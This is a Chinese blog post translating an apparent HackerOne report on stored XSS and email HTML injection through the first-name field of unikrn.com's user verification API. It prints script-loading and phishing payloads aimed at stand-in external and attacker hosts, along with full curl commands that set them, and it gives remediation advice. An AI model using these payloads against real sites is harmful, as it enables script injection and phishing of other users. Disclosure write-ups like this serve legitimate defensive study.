• 欢迎访问挑战自我博客网站,安全研究,web渗透,推荐使用最新版火狐浏览器和Chrome浏览器访问本网站,欢迎加入挑战自我博客网站 网站主页

发送邮件过程中的html代码注入

挖洞经验 挑战自我 来源:hackerone翻译 729次浏览 已收录 0个评论

1、漏洞简介

unikrn.com公司的邮件系统在发送邮件的过程中存在HTML注入漏洞,注入的位置在用户个人配置信息的first name字段

2、漏洞详情

当post访问如下页面时,由于缺乏对数据的过滤以及验证,用户可以将一些个人配置信息字段设置成不合法的数值,这可能导致在网站的一些抽奖区(raffle)的XSS漏洞,以及发送邮件时的HTML注入漏洞。

https://unikrn.com/apiv2/user/verify

用户可以在用户信息first name这个字段(这个字段随后会生成用户的callsign)插入payload,在查看抽奖得主时,callsign字段在具有ng-bind属性的网站其他区域是安全的,这个字段的值被vartrans这个函数转义了。这个函数允许html被当做raffle_winner_sidebar_body文本的一部分插入进去,这样就在未做任何验证的情况下实现了payload插入。

因此,当用户赢得一次抽奖,并把其first name字段设置成如下时,任何其他用户来访问这个抽奖区就会触发XSS漏洞

<script src=\"https://external.com/xss.js\" />

顺着这个XSS漏洞的思路继续研究,继续把first name字段设置成一个带有script标签的字段,在发送邮件的时候,发现script标签之后的任何邮件内容都被忽略了。这个字段的最大长度为256字节,攻击者将有248个字节来构造一个恶意邮件,或者嵌入一张带有邮件内容的图片,这样你将会获得更大的输入空间。

测试脚本如下:

<a href=\"https://attacker/phish.php\"><img src=\"https://attacker/content.jpg\"></a><script>

3、漏洞复现步骤

3.1、XSS漏洞

1、利用提供的curl命令来设置用户的first name字段来测试xss,例如

<script src=\"https://external2.com/xss.js\" />

2、赢得一场抽奖
3、访问抽奖页面将触发xss漏洞

3.2、html注入漏洞

1、利用提供的curl命令来设置first name字段来测试html注入,例如:

<a href=\"https://attacker/phish.php\"><img src=\"https://attacker/content.jpg\"></a><script>

2、导航至用户信息配置页面,然后发送一个介绍(邀请)邮件即可触发漏洞。

4、支持材料/引用

4.1、xss

curl -i -s -k -X $'POST' -H $'Content-Type: application/json' --data-binary $'{\"country\":\"GB\",\"firstname\":\"<script src=\\\"https://external2.com/xss.js\\\" />\", \"session_id\":\"SESSION_ID\"}' $'https://unikrn.com/apiv2/user/verify'

4.2、邮件html注入

curl -i -s -k -X $'POST' -H $'Content-Type: application/json' --data-binary $'{\"country\":\"GB\",\"firstname\":\"<a href=\\\"https://attacker/phish.php\\\"><img src=\\\"https://attacker/content.jpg\\\"></a><script>\", \"session_id\":\"SESSION_ID\"}' $'https://unikrn.com/apiv2/user/verify'

发送邮件过程中的html代码注入

5、修补建议

一是在验证页面中对用户的相关字段添加适当的验证或者把用户字段当作一个参数来传递给vartrans函数以防止未来发生类似的安全问题;

二是添加更为严格的内容安全策略,在电子邮件中使用用户输入的参数时,对所有的html字符进行转换。


挑战自我博客, 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权 , 转载请注明发送邮件过程中的html代码注入
喜欢 (12)
支付宝[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址